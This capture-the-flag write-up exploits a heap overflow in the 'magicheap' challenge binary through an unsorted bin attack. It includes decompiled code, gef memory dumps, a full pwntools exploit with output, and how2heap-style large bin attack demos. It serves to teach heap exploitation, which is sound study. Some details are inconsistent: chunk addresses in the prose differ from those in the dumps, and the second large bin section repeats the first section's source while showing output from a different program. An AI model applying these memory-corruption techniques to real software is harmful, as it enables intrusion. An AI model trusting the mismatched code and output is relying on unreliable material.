  Native POSIX Threads Library by Ulrich Drepper et al
  BIND-8.2.3-T5B
libc ABIs: UNIQUE IFUNC
For bug reporting instructions, please see:
<https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>.
$ file magicheap
magicheap: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically
linked, interpreter /lib64/l, for GNU/Linux 2.6.32,
BuildID[sha1]=7dbbc580bc50d383c3d8964b8fa0e56dbda3b5f1, not stripped
$ pwn checksec magicheap [*] '/Hackery/pod/modules/unsortedbin_attack
/hitcon_magicheap/magicheap'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
$ ./magicheap
--------------------------------
       Magic Heap Creator
--------------------------------
 1. Create a Heap
 2. Edit a Heap
 3. Delete a Heap
 4. Exit
--------------------------------
Your choice :
```

So we can see that we are dealing with `libc-2.23.so`. Also for the binary, we are dealing with a `64` bit binary with a Canary and NX. When we run the binary, it gives us a prompt to `create/edit/delete` heaps.

Reversing

When we take a look at the `main` function, we see this:

```
void main(void)

{
  int menuChoice;
  char input [8];

  setvbuf(stdout,(char *)0x0,2,0);
  setvbuf(stdin,(char *)0x0,2,0);
  do {
    while( true ) {
      while( true ) {
        menu();
        read(0,input,8);
        menuChoice = atoi(input);
        if (menuChoice != 3) break;
        delete_heap();
      }
      if (3 < menuChoice) break;
      if (menuChoice == 1) {
        create_heap();
      }
      else {
        if (menuChoice == 2) {
          edit_heap();
        }
        else {
LAB_00400d36:
          puts("Invalid Choice");
        }
      }
    }
    if (menuChoice == 4) {
                    /* WARNING: Subroutine does not return */
      exit(0);
    }
    if (menuChoice != 0x1305) goto LAB_00400d36;
    if (magic < 0x1306) {
      puts("So sad !");
    }
    else {
      puts("Congrt !");
      l33t();
    }
  } while( true );
}
```

We can see that it is essentially a menu prompt. However we can see there is an additional menu option not displayed (`4869`). If we choose that option and the bss variable `magic` stored at `0x6020c0` is greater than or equal to `0x1306` , it will run the `l33t` function. Which we see gives us the flag:

```
void l33t(void)

{
  system("cat ./flag");
  return;
}
```

Next up we have the `create_heap` function:

```
void create_heap(void)

{
  int sizeInp;
  size_t mallocSize;
  void *ptr;
  long in_FS_OFFSET;
  int i;
  char local_18 [8];
  long canary;

  canary = *(long *)(in_FS_OFFSET + 0x28);
  i = 0;
  do {
    if (9 < i) {
code_r0x00400a31:
      if (canary != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
        __stack_chk_fail();
      }
      return;
    }
    if (*(long *)(heaparray + (long)i * 8) == 0) {
      printf("Size of Heap : ");
      read(0,local_18,8);
      sizeInp = atoi(local_18);
      mallocSize = SEXT48(sizeInp);
      ptr = malloc(mallocSize);
      *(void **)(heaparray + (long)i * 8) = ptr;
      if (*(long *)(heaparray + (long)i * 8) == 0) {
        puts("Allocate Error");
                    /* WARNING: Subroutine does not return */
        exit(2);
      }
      printf("Content of heap:");
      read_input(*(undefined8 *)(heaparray + (long)i *
8),mallocSize,mallocSize);
      puts("SuccessFul");
      goto code_r0x00400a31;
    }
    i = i + 1;
  } while( true );
}
```

So we can see, it's a pretty standard heap allocation function. It prompts us for a size, then mallocs it and stores it in the bss array `heaparray` at `0x6020e0`. It also allows us to scan in as much data into the chunk as we specified it's size. Notice how it doesn't save the size of the chunk. Also we can see that it limits us to `10` chunks. Next up we have the `edit_chunk` function:

```
void edit_heap(void)

{
  long lVar1;
  int index;
  int size;
  long in_FS_OFFSET;
  char input [8];
  long canary;

  lVar1 = *(long *)(in_FS_OFFSET + 0x28);
  printf("Index :");
  read(0,input,4);
  index = atoi(input);
  if ((index < 0) || (9 < index)) {
    puts("Out of bound!");
                    /* WARNING: Subroutine does not return */
    _exit(0);
  }
  if (*(long *)(heaparray + (long)index * 8) == 0) {
    puts("No such heap !");
  }
  else {
    printf("Size of Heap : ");
    read(0,input,8);
    size = atoi(input);
    printf("Content of heap : ");
    read_input(*(undefined8 *)(heaparray + (long)index * 8),(long)size,
(long)size);
    puts("Done !");
  }
  if (lVar1 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}
```

Here we can see it prompts us for an index to a chunk, a size for the chunk, and allows us to scan that much data into the chunk. However there is no check to see if the size of our new input is bigger than the size of the chunk itself. With this we have a heap overflow bug:

```
void delete_heap(void)

{
  int index;
  long in_FS_OFFSET;
  char input [8];
  long canary;

  canary = *(long *)(in_FS_OFFSET + 0x28);
  printf("Index :");
  read(0,input,4);
  index = atoi(input);
  if ((index < 0) || (9 < index)) {
    puts("Out of bound!");
                    /* WARNING: Subroutine does not return */
    _exit(0);
  }
  if (*(long *)(heaparray + (long)index * 8) == 0) {
    puts("No such heap !");
  }
  else {
    free(*(void **)(heaparray + (long)index * 8));
    *(undefined8 *)(heaparray + (long)index * 8) = 0;
    puts("Done !");
  }
  if (canary != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}
```

We can see that `delete_heap` frees the pointer for the index we give it (first it performs some checks on the index). After that it clears out the pointer. No UAF here.

Exploitation

So we have a buffer overflow bug. We will leverage this bug to write a value to `magic` big enough to let us get the flag. We will do this using an unsorted bin attack, which will allow us to write a large integer value.

Unsorted Bin Attack

The Unsorted Bin contains just a single bin. All chunks are first placed in this bin, before beign moved to the other bins. The unsorted bin is a doubly linked list, with a `fwd` and `bk` pointer.

When we allocate and free a chunk of size `0xf0`, we can see it here in the unsorted bin:

```
────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "magicheap", stopped, reason: SIGINT
──────────────────────────────────────────────────────────────────── trace ────
[#0] 0x7f2ac7701260 → __read_nocancel()
[#1] 0x400ca7 → main()
───────────────────────────────────────────────────────────────────────────────
gef➤  heap bins
[+] No Tcache in this version of libc
────────────────────── Fastbins for arena 0x7f2ac79ceb20 ──────────────────────
Fastbins[idx=0, size=0x10] 0x00
Fastbins[idx=1, size=0x20] 0x00
Fastbins[idx=2, size=0x30] 0x00
Fastbins[idx=3, size=0x40] 0x00
Fastbins[idx=4, size=0x50] 0x00
Fastbins[idx=5, size=0x60] 0x00
Fastbins[idx=6, size=0x70] 0x00
───────────────────── Unsorted Bin for arena 'main_arena' ─────────────────────
[+] unsorted_bins[0]: fw=0x1128000, bk=0x1128000
 →   Chunk(addr=0x1128010, size=0x100, flags=PREV_INUSE)
[+] Found 1 chunks in unsorted bin.
────────────────────── Small Bins for arena 'main_arena' ──────────────────────
[+] Found 0 chunks in 0 small non-empty bins.
────────────────────── Large Bins for arena 'main_arena' ──────────────────────
[+] Found 0 chunks in 0 large non-empty bins.
gef➤  x/20g 0x1128000
0x1128000:  0x0 0x101
0x1128010:  0x7f2ac79ceb78  0x7f2ac79ceb78
0x1128020:  0x0 0x0
0x1128030:  0x0 0x0
0x1128040:  0x0 0x0
0x1128050:  0x0 0x0
0x1128060:  0x0 0x0
0x1128070:  0x0 0x0
0x1128080:  0x0 0x0
0x1128090:  0x0 0x0
gef➤  x/g 0x7f2ac79ceb78
0x7f2ac79ceb78 <main_arena+88>: 0x1128400
```

So we can see that it's `fwd` and `bk` pointer (`bk` being the second) both point to `0x7f2ac79ceb78`, since there is only one thing in the unsorted bin right now. We can see that `0x7f2ac79ceb78` holds the address of the only chunk in the unsorted bin, which is `0x1128000` (the reason why it is `0x1128000` instead of `0x1128010` is because this pointer points to the start of the heap metadata rather than the user defined data).

Now this for this attack, we will be targeting the `bk` pointer at `0x1128018`. The reason for this being that there is code in `malloc/malloc.c` in the libc (this version being `libc-2.23.so`) that will write a pointer to `bk + 0x10` :

```
/* remove from unsorted list */
unsorted_chunks (av)->bk = bck;
bck->fd = unsorted_chunks (av);
```

Here is is setting the forward pointer of the `bk` chunk equal to the value of unsorted_chunks (av) which will be a pointer (`av` is an arena). Since the `bk` pointer points to the start of the heap metadata, the `fwd` pointer will be `0x10` bytes after that. So if we set the `bk` pointer to `magic - 0x10` then had that chunk removed from the unsorted bin, then the value of `magic` would get overwritten with a ptr to the chunk whose `bk` pointer we overwrote. This pointer's integer value should be greater than `0x1306` , and thus we should be able to print the flag.

Tl;dr Unsorted Bin Attack gives us a write of a "large" integer (in this context we don't have too much control over what gets written, only where it gets written).

Let's take a look at the memory as the Unsorted Bin Attack happens. We start off by allocating three chunks, two of size `0xf0` and one `0x30` :

```
gef➤  x/100g 0x1e23000
0x1e23000:  0x0 0x101
0x1e23010:  0x3832373533393531  0x0
0x1e23020:  0x0 0x0
0x1e23030:  0x0 0x0
0x1e23040:  0x0 0x0
0x1e23050:  0x0 0x0
0x1e23060:  0x0 0x0
0x1e23070:  0x0 0x0
0x1e23080:  0x0 0x0
0x1e23090:  0x0 0x0
0x1e230a0:  0x0 0x0
0x1e230b0:  0x0 0x0
0x1e230c0:  0x0 0x0
0x1e230d0:  0x0 0x0
0x1e230e0:  0x0 0x0
0x1e230f0:  0x0 0x0
0x1e23100:  0x0 0x101
0x1e23110:  0x3832313539333537  0x0
0x1e23120:  0x0 0x0
0x1e23130:  0x0 0x0
0x1e23140:  0x0 0x0
0x1e23150:  0x0 0x0
0x1e23160:  0x0 0x0
0x1e23170:  0x0 0x0
0x1e23180:  0x0 0x0
0x1e23190:  0x0 0x0
0x1e231a0:  0x0 0x0
0x1e231b0:  0x0 0x0
0x1e231c0:  0x0 0x0
0x1e231d0:  0x0 0x0
0x1e231e0:  0x0 0x0
0x1e231f0:  0x0 0x0
0x1e23200:  0x0 0x41
0x1e23210:  0x3832373533393530  0x0
0x1e23220:  0x0 0x0
0x1e23230:  0x0 0x0
0x1e23240:  0x0 0x20dc1
0x1e23250:  0x0 0x0
0x1e23260:  0x0 0x0
0x1e23270:  0x0 0x0
0x1e23280:  0x0 0x0
0x1e23290:  0x0 0x0
0x1e232a0:  0x0 0x0
0x1e232b0:  0x0 0x0
0x1e232c0:  0x0 0x0
0x1e232d0:  0x0 0x0
0x1e232e0:  0x0 0x0
0x1e232f0:  0x0 0x0
0x1e23300:  0x0 0x0
0x1e23310:  0x0 0x0
```

The second chunk at `0x9ea110` will be the one that we will free so it goes into the unsorted bin. The first chunk we will use to overflow into the second chunk and overwrite the `bk` pointer. The third chunk there is to prevent consolidation with the top chunk. Next up we free the second chunk, and place it in the unsorted bin:

```
gef➤  heap bins
[+] No Tcache in this version of libc
──────────────────────── Fastbins for arena 0x7fe13d107b20 ────────────────────────
Fastbins[idx=0, size=0x10] 0x00
Fastbins[idx=1, size=0x20] 0x00
Fastbins[idx=2, size=0x30] 0x00
Fastbins[idx=3, size=0x40] 0x00
Fastbins[idx=4, size=0x50] 0x00
Fastbins[idx=5, size=0x60] 0x00
Fastbins[idx=6, size=0x70] 0x00
─────────────────────── Unsorted Bin for arena 'main_arena' ───────────────────────
[+] unsorted_bins[0]: fw=0x1e23100, bk=0x1e23100
 →   Chunk(addr=0x1e23110, size=0x100, flags=PREV_INUSE)
[+] Found 1 chunks in unsorted bin.
──────────────────────── Small Bins for arena 'main_arena' ────────────────────────
[+] Found 0 chunks in 0 small non-empty bins.
──────────────────────── Large Bins for arena 'main_arena' ────────────────────────
[+] Found 0 chunks in 0 large non-empty bins.
gef➤  x/100g 0x1e23000
0x1e23000:  0x0 0x101
0x1e23010:  0x3832373533393531  0x0
0x1e23020:  0x0 0x0
0x1e23030:  0x0 0x0
0x1e23040:  0x0 0x0
0x1e23050:  0x0 0x0
0x1e23060:  0x0 0x0
0x1e23070:  0x0 0x0
0x1e23080:  0x0 0x0
0x1e23090:  0x0 0x0
0x1e230a0:  0x0 0x0
0x1e230b0:  0x0 0x0
0x1e230c0:  0x0 0x0
0x1e230d0:  0x0 0x0
0x1e230e0:  0x0 0x0
0x1e230f0:  0x0 0x0
0x1e23100:  0x0 0x101
0x1e23110:  0x7fe13d107b78  0x7fe13d107b78
0x1e23120:  0x0 0x0
0x1e23130:  0x0 0x0
0x1e23140:  0x0 0x0
0x1e23150:  0x0 0x0
0x1e23160:  0x0 0x0
0x1e23170:  0x0 0x0
0x1e23180:  0x0 0x0
0x1e23190:  0x0 0x0
0x1e231a0:  0x0 0x0
0x1e231b0:  0x0 0x0
0x1e231c0:  0x0 0x0
0x1e231d0:  0x0 0x0
0x1e231e0:  0x0 0x0
0x1e231f0:  0x0 0x0
0x1e23200:  0x100 0x40
```

```
0x1e23210:  0x3832373533393530  0x0
0x1e23220:  0x0 0x0
0x1e23230:  0x0 0x0
0x1e23240:  0x0 0x20dc1
0x1e23250:  0x0 0x0
0x1e23260:  0x0 0x0
0x1e23270:  0x0 0x0
0x1e23280:  0x0 0x0
0x1e23290:  0x0 0x0
0x1e232a0:  0x0 0x0
0x1e232b0:  0x0 0x0
0x1e232c0:  0x0 0x0
0x1e232d0:  0x0 0x0
0x1e232e0:  0x0 0x0
0x1e232f0:  0x0 0x0
0x1e23300:  0x0 0x0
0x1e23310:  0x0 0x0
```

So we can see that the second chunk is now in the unsorted bin. Next up we will leverage the heap overflow bug using the first chunk to overwrite the `bk` pointer at `0x9ea118` to be `0x6020c0 - 0x10 = 0x6020b0`:

```
gef➤  x/100g 0x1e23000
0x1e23000:  0x0 0x101
0x1e23010:  0x3030303030303030  0x3030303030303030
0x1e23020:  0x3030303030303030  0x3030303030303030
0x1e23030:  0x3030303030303030  0x3030303030303030
0x1e23040:  0x3030303030303030  0x3030303030303030
0x1e23050:  0x3030303030303030  0x3030303030303030
0x1e23060:  0x3030303030303030  0x3030303030303030
0x1e23070:  0x3030303030303030  0x3030303030303030
0x1e23080:  0x3030303030303030  0x3030303030303030
0x1e23090:  0x3030303030303030  0x3030303030303030
0x1e230a0:  0x3030303030303030  0x3030303030303030
0x1e230b0:  0x3030303030303030  0x3030303030303030
0x1e230c0:  0x3030303030303030  0x3030303030303030
0x1e230d0:  0x3030303030303030  0x3030303030303030
0x1e230e0:  0x3030303030303030  0x3030303030303030
0x1e230f0:  0x3030303030303030  0x3030303030303030
0x1e23100:  0x3030303030303030  0x101
0x1e23110:  0x3131313131313131  0x6020b0
0x1e23120:  0x0 0x0
0x1e23130:  0x0 0x0
0x1e23140:  0x0 0x0
0x1e23150:  0x0 0x0
0x1e23160:  0x0 0x0
0x1e23170:  0x0 0x0
0x1e23180:  0x0 0x0
0x1e23190:  0x0 0x0
0x1e231a0:  0x0 0x0
0x1e231b0:  0x0 0x0
0x1e231c0:  0x0 0x0
0x1e231d0:  0x0 0x0
0x1e231e0:  0x0 0x0
0x1e231f0:  0x0 0x0
0x1e23200:  0x100 0x40
0x1e23210:  0x3832373533393530  0x0
0x1e23220:  0x0 0x0
0x1e23230:  0x0 0x0
0x1e23240:  0x0 0x20dc1
0x1e23250:  0x0 0x0
0x1e23260:  0x0 0x0
0x1e23270:  0x0 0x0
0x1e23280:  0x0 0x0
0x1e23290:  0x0 0x0
0x1e232a0:  0x0 0x0
0x1e232b0:  0x0 0x0
0x1e232c0:  0x0 0x0
0x1e232d0:  0x0 0x0
0x1e232e0:  0x0 0x0
0x1e232f0:  0x0 0x0
0x1e23300:  0x0 0x0
0x1e23310:  0x0 0x0
gef➤  x/g 0x6020c0
```

```
0x6020c0 <magic>: 0x0
```

So we can see that the `bk` pointer has been overwritten to `0x6020b0`, and that the value of `magic` is `0x0`. Now we will allocate a `0xf0` byte chunk to remove this chunk from the unsorted bin and trigger the write:

```
gef➤  x/100g 0x1e23000
0x1e23000:  0x0 0x101
0x1e23010:  0x3030303030303030  0x3030303030303030
0x1e23020:  0x3030303030303030  0x3030303030303030
0x1e23030:  0x3030303030303030  0x3030303030303030
0x1e23040:  0x3030303030303030  0x3030303030303030
0x1e23050:  0x3030303030303030  0x3030303030303030
0x1e23060:  0x3030303030303030  0x3030303030303030
0x1e23070:  0x3030303030303030  0x3030303030303030
0x1e23080:  0x3030303030303030  0x3030303030303030
0x1e23090:  0x3030303030303030  0x3030303030303030
0x1e230a0:  0x3030303030303030  0x3030303030303030
0x1e230b0:  0x3030303030303030  0x3030303030303030
0x1e230c0:  0x3030303030303030  0x3030303030303030
0x1e230d0:  0x3030303030303030  0x3030303030303030
0x1e230e0:  0x3030303030303030  0x3030303030303030
0x1e230f0:  0x3030303030303030  0x3030303030303030
0x1e23100:  0x3030303030303030  0x101
0x1e23110:  0x3131313130303030  0x6020b0
0x1e23120:  0x0 0x0
0x1e23130:  0x0 0x0
0x1e23140:  0x0 0x0
0x1e23150:  0x0 0x0
0x1e23160:  0x0 0x0
0x1e23170:  0x0 0x0
0x1e23180:  0x0 0x0
0x1e23190:  0x0 0x0
0x1e231a0:  0x0 0x0
0x1e231b0:  0x0 0x0
0x1e231c0:  0x0 0x0
0x1e231d0:  0x0 0x0
0x1e231e0:  0x0 0x0
0x1e231f0:  0x0 0x0
0x1e23200:  0x100 0x41
0x1e23210:  0x3832373533393530  0x0
0x1e23220:  0x0 0x0
0x1e23230:  0x0 0x0
0x1e23240:  0x0 0x20dc1
0x1e23250:  0x0 0x0
0x1e23260:  0x0 0x0
0x1e23270:  0x0 0x0
0x1e23280:  0x0 0x0
0x1e23290:  0x0 0x0
0x1e232a0:  0x0 0x0
0x1e232b0:  0x0 0x0
0x1e232c0:  0x0 0x0
0x1e232d0:  0x0 0x0
0x1e232e0:  0x0 0x0
0x1e232f0:  0x0 0x0
0x1e23300:  0x0 0x0
0x1e23310:  0x0 0x0
gef➤  x/g 0x6020c0
```

```
0x6020c0 <magic>: 0x7fe13d107b78
```

With that, we can get the flag!

Exploit

Putting it all together, we have the following exploit:

```python
from pwn import *

target = process('./magicheap')
#gdb.attach(target)

def add(size, content):
  print target.recvuntil("Your choice :")
  target.sendline("1")
  print target.recvuntil("Size of Heap : ")
  target.sendline(str(size))
  print target.recvuntil("Content of heap:")
  target.send(content)


def edit(index, size, content):
  print target.recvuntil("Your choice :")
  target.sendline("2")
  print target.recvuntil("Index :")
  target.sendline(str(index))
  print target.recvuntil("Size of Heap : ")
  target.sendline(str(size))
  #print target.recvuntil("Content of heap:")
  target.sendline(content)

def delete(index):
  print target.recvuntil("Your choice :")
  target.sendline("3")
  print target.recvuntil("Index :")
  target.sendline(str(index))

# Declare the target variable
magic = 0x6020c0

# Allocate our three chunks
add(0xf0, "15935728")# 0
add(0xf0, "75395128")# 1
add(0x30, "05935728")# 2

# Free the middle chunk, add it to the unsorted bin
delete(1)

# Overwrite the bk pointer of the chunk in the unsorted bin
edit(0, 0x110, "0"*0xf8 + p64(0x101) + "1"*0x8 + p64(magic - 0x10))

# Reallocate chunk 1 to remove it from the unsorted bin, and trigger the write
add(0xf0, "0000")

# Send the option to get the flag
target.sendline("4869")


target.interactive()
```

When we run it:

```
$ python exploit.py
[+] Starting local process './magicheap': pid 21548
--------------------------------
       Magic Heap Creator
--------------------------------
 1. Create a Heap
 2. Edit a Heap
 3. Delete a Heap
 4. Exit
--------------------------------
Your choice :
Size of Heap :
Content of heap:
SuccessFul
--------------------------------
       Magic Heap Creator
--------------------------------
 1. Create a Heap
 2. Edit a Heap
 3. Delete a Heap
 4. Exit
--------------------------------
Your choice :
Size of Heap :
Content of heap:
SuccessFul
--------------------------------
       Magic Heap Creator
--------------------------------
 1. Create a Heap
 2. Edit a Heap
 3. Delete a Heap
 4. Exit
--------------------------------
Your choice :
Size of Heap :
Content of heap:
SuccessFul
--------------------------------
       Magic Heap Creator
--------------------------------
 1. Create a Heap
 2. Edit a Heap
 3. Delete a Heap
 4. Exit
--------------------------------
Your choice :
Index :
Done !
--------------------------------
       Magic Heap Creator
--------------------------------
```

```
 1. Create a Heap
 2. Edit a Heap
 3. Delete a Heap
 4. Exit
--------------------------------
Your choice :
Index :
Size of Heap :
Content of heap : Done !
--------------------------------
       Magic Heap Creator
--------------------------------
 1. Create a Heap
 2. Edit a Heap
 3. Delete a Heap
 4. Exit
--------------------------------
Your choice :
Invalid Choice
--------------------------------
       Magic Heap Creator
--------------------------------
 1. Create a Heap
 2. Edit a Heap
 3. Delete a Heap
 4. Exit
--------------------------------
Your choice :Size of Heap :
Content of heap:
[*] Switching to interactive mode
SuccessFul
--------------------------------
       Magic Heap Creator
--------------------------------
 1. Create a Heap
 2. Edit a Heap
 3. Delete a Heap
 4. Exit
--------------------------------
Your choice :Congrt !
flag{unsorted_bin_attack}
--------------------------------
       Magic Heap Creator
--------------------------------
 1. Create a Heap
 2. Edit a Heap
 3. Delete a Heap
 4. Exit
--------------------------------
Your choice :$
[*] Interrupted
[*] Stopped process './magicheap' (pid 21548)
```

Just like that, we got the flag!

Large Bin Attack Explannation pt 0

This section is based off of: https://github.com/shellphish/how2heap/blob/master/glibc_2.26/large_bin_attack.c

This like all of the other explanations is a well documented C source file explanning how this attack works. This was ran on `Ubuntu 16.04` with `libc-2.23.so`. Here is the source code:

```
// This is based off of Shellphish's how2heap: https://github.com/shellphish
/how2heap/blob/master/glibc_2.26/large_bin_attack.c

#include <stdio.h>
#include <stdlib.h>

int main(void)
{
    puts("This will be covering large bin attacks.");
    puts("They are similar to unsorted bin attacks, with that they let us write
a pointer.");
    puts("However like unsorted bin attacks, we can control where the pointer is
written to, but not the value of the pointer.");
    puts("Let's get started.\n");

    unsigned long target = 0xdeadbeef;

    printf("Our goal will be to overwrite the target variable.\n");
    printf("Target address:\t%p\n", &target);
    printf("Target value:\t0x%lx\n\n", target);

    printf("We will start off by allocating six chunks.\n");
    printf("Three of them will be big enough to go into the small/large
bins.\n");
    printf("The other three chunks will be fastbin size, to prevent
consolidation between the large bin size chunks.\n");

    unsigned long *ptr0, *ptr1, *ptr2;
    unsigned long *fpt0, *fpt1, *fpt2;


    ptr0 = malloc(0x200);
    fpt0 = malloc(0x10);

    ptr1 = malloc(0x500);
    fpt1 = malloc(0x10);

    ptr2 = malloc(0x500);
    fpt2 = malloc(0x10);

    printf("Now we have allocated our chunks.\n");

    printf("Large Chunk0:\t%p\n", ptr0);
    printf("Large Chunk1:\t%p\n", ptr1);
    printf("Large Chunk2:\t%p\n", ptr2);

    printf("Small Chunk0:\t%p\n", fpt0);
    printf("Small Chunk1:\t%p\n", fpt1);
    printf("Small Chunk2:\t%p\n\n", fpt2);

    printf("Now we will free the first two large chunks.\n\n");
```

```
    free(ptr0);
    free(ptr1);

    printf("Now they are both in the unsorted bin.\n");
    printf("Since large bin sized chunks are inserted into the unsorted bin,
before being moved to the large bin for potential reuse before they are thrown
into that bin.\n");
    printf("We will now allocate a fastbin sized chunk. This will move our
second (larger) chunk into the large bin (since it is the larger chunk in the
unsorted bin).\n");
    printf("The first (smaller) chunk will have part of it's space used for the
allocation, and then the remaining chunk will be inserted into the unsorted
bin.\n\n");

    malloc(0x10);

    printf("Next up we will insert the third large chunk into the unsorted bin
by freeing it.\n\n");

    free(ptr2);



    printf("Now here is where the bug comes in.\n");
    printf("We will need a bug that will allow us to edit the second chunk (the
one that is in the unsorted bin).\n");
    printf("Like with the unsorted bin attack, the bk pointer controls where our
write goes to.\n");
    printf("We will also need to zero out the fwd pointer.\n");

    ptr1[0] = 0;
    ptr1[1] = (unsigned long)((&target) - 0x2);

    printf("We will also need to overwrite it's size values with a smaller
value.\n\n");

    ptr1[-1] = 0x300;

    printf("Proceeding that we will allocate another small chunk.\n");

    printf("The larger chunk (third chunk) in the unsorted bin will be inserted
into the large bin.\n");
    printf("However since the large bin is organized by size, the biggest chunk
has to be first.\n");
    printf("Since we overwrote the size of the second chunk with a smaller size,
the third chunk will move up and become the front of the large bin.\n");
    printf("This is where our write happens.\n\n");

    malloc(0x10);

    printf("With that, we can see that the value of the target is:\n");
    printf("Target value:\t0x%lx\n", target);

}
```

When we run it:

```
$       ./largebin0
This will be covering large bin attacks.
They are similar to unsorted bin attacks, with that they let us write a pointer.
However like unsorted bin attacks, we can control where the pointer is written
to, but not the value of the pointer.
Let's get started.

Our goal will be to overwrite the target variable.
Target address: 0x7ffd3b4919f0
Target value:   0xdeadbeef

We will start off by allocating six chunks.
Three of them will be big enough to go into the small/large bins.
The other three chunks will be fastbin size, to prevent consolidation between
the large bin size chunks.
Now we have allocated our chunks.
Large Chunk0:   0xc04420
Large Chunk1:   0xc04650
Large Chunk2:   0xc04b80
Small Chunk0:   0xc04630
Small Chunk1:   0xc04b60
Small Chunk2:   0xc05090

Now we will free the first two large chunks.

Now they are both in the unsorted bin.
Since large bin sized chunks are inserted into the unsorted bin, before being
moved to the large bin for potential reuse before they are thrown into that bin.
We will now allocate a fastbin sized chunk. This will move our second (larger)
chunk into the large bin (since it is the larger chunk in the unsorted bin).
The first (smaller) chunk will have part of it's space used for the allocation,
and then the remaining chunk will be inserted into the unsorted bin.

Next up we will insert the third large chunk into the unsorted bin by freeing
it.

Now here is where the bug comes in.
We will need a bug that will allow us to edit the second chunk (the one that is
in the unsorted bin).
Like with the unsorted bin attack, the bk pointer controls where our write goes
to.
We will also need to zero out the fwd pointer.
We will also need to overwrite it's size values with a smaller value.

Proceeding that we will allocate another small chunk.
The larger chunk (third chunk) in the unsorted bin will be inserted into the
large bin.
However since the large bin is organized by size, the biggest chunk has to be
first.
Since we overwrote the size of the second chunk with a smaller size, the third
chunk will move up and become the front of the large bin.
This is where our write happens.
```

```
With that, we can see that the value of the target is:
Target value:   0xc04b70
```

Large Bin Attack Explannation pt 1

This section is based off of: https://github.com/shellphish/how2heap/blob/master/glibc_2.26/large_bin_attack.c

This like all of the other explanations is a well documented C source file explanning how this attack works. This was ran on `Ubuntu 16.04` with `libc-2.23.so`. Here is the source code:

```
// This is based off of Shellphish's how2heap: https://github.com/shellphish
/how2heap/blob/master/glibc_2.26/large_bin_attack.c

#include <stdio.h>
#include <stdlib.h>

int main(void)
{
    puts("This will be covering large bin attacks.");
    puts("They are similar to unsorted bin attacks, with that they let us write
a pointer.");
    puts("However like unsorted bin attacks, we can control where the pointer is
written to, but not the value of the pointer.");
    puts("Let's get started.\n");

    unsigned long target = 0xdeadbeef;

    printf("Our goal will be to overwrite the target variable.\n");
    printf("Target address:\t%p\n", &target);
    printf("Target value:\t0x%lx\n\n", target);

    printf("We will start off by allocating six chunks.\n");
    printf("Three of them will be big enough to go into the large bin.\n");
    printf("The other three chunks will be fastbin size, to prevent
consolidation between the large bin size chunks.\n");

    unsigned long *ptr0, *ptr1, *ptr2;
    unsigned long *fpt0, *fpt1, *fpt2;


    ptr0 = malloc(0x200);
    fpt0 = malloc(0x10);

    ptr1 = malloc(0x500);
    fpt1 = malloc(0x10);

    ptr2 = malloc(0x500);
    fpt2 = malloc(0x10);

    printf("Now we have allocated our chunks.\n");

    printf("Large Chunk0:\t%p\n", ptr0);
    printf("Large Chunk1:\t%p\n", ptr1);
    printf("Large Chunk2:\t%p\n", ptr2);

    printf("Small Chunk0:\t%p\n", fpt0);
    printf("Small Chunk1:\t%p\n", fpt1);
    printf("Small Chunk2:\t%p\n\n", fpt2);

    printf("Now we will free the first two large chunks.\n\n");

    free(ptr0);
```

```
    free(ptr1);

    printf("Now they are both in the unsorted bin.\n");
    printf("Since large bin sized chunks are inserted into the unsorted bin,
before being moved to the large bin for potential reuse before they are thrown
into that bin.\n");
    printf("We will now allocate a fastbin sized chunk. This will move our
second (larger) chunk into the large bin (since it is the larger chunk in the
unsorted bin).\n");
    printf("The first (smaller) chunk will have part of it's space used for the
allocation, and then the remaining chunk will be inserted into the unsorted
bin.\n\n");

    malloc(0x10);

    printf("Next up we will insert the third large chunk into the unsorted bin
by freeing it.\n\n");

    free(ptr2);


    printf("Now here is where the bug comes in.\n");
    printf("We will need a bug that will allow us to edit the second chunk (the
one that is in the unsorted bin).\n");
    printf("Like with the unsorted bin attack, the bk pointer controls where our
write goes to.\n");
    printf("We will also need to zero out the fwd pointer.\n");

    ptr1[0] = 0;
    ptr1[1] = (unsigned long)((&target) - 0x2);

    printf("We will also need to overwrite it's size values with a smaller
value.\n\n");

    ptr1[-1] = 0x300;

    printf("Proceeding that we will allocate another small chunk.\n");

    printf("The larger chunk (third chunk) in the unsorted bin will be inserted
into the large bin.\n");
    printf("However since the large bin is organized by size, the biggest chunk
has to be first.\n");
    printf("Since we overwrote the size of the second chunk with a smaller size,
the third chunk will move up and become the front of the large bin.\n");
    printf("This is where our write happens.\n\n");

    malloc(0x10);

    printf("With that, we can see that the value of the target is:\n");
    printf("Target value:\t0x%lx\n", target);

}
```

When we run it:

```
$       ./largebin1
This will be covering large bin attacks again.
Pretty similar to the last section however with a twist.
This time we will be using a single large bin attack to write to two seperate
addresses.
Let's get started.

Our goal will be to overwrite the target variables.
Target0 address:        0x7ffd941d5148
Target0 value:          0xdeadbeef

Target1 address:        0x7ffd941d5150
Target1 value:          0xfacade

We will start off by allocating six chunks.
Three of them will be big enough to go into the small/large bin.
The other three chunks will be fastbin size, to prevent consolidation between
the large bin size chunks.
Now we have allocated our chunks.
Large Chunk0:   0x9f3420
Large Chunk1:   0x9f3650
Large Chunk2:   0x9f3b80
Small Chunk0:   0x9f3630
Small Chunk1:   0x9f3b60
Small Chunk2:   0x9f4090

Now we will free the first two large chunks.

Now they are both in the unsorted bin.
Since large bin sized chunks are inserted into the unsorted bin, before being
moved to the large bin for potential reuse before they are thrown into that bin.
We will now allocate a fastbin sized chunk. This will move our second (larger)
chunk into the large bin (since it is the larger chunk in the unsorted bin).
The first (smaller) chunk will have part of it's space used for the allocation,
and then the remaining chunk will be inserted into the unsorted bin.

Next up we will insert the third large chunk into the unsorted bin by freeing
it.

Now here is where the bug comes in.
We will need a bug that will allow us to edit the second chunk (the one that is
in the unsorted bin).
Like with the unsorted bin attack, the bk pointer controls where our write goes
to.
However this time, we will also be overwritting the fwd_nextsize and bk_nextsize
pointers to give us the second write.
We will also need to zero out the fwd pointer.
We will also need to overwrite it's size values with a smaller value.

Proceeding that we will allocate another small chunk.
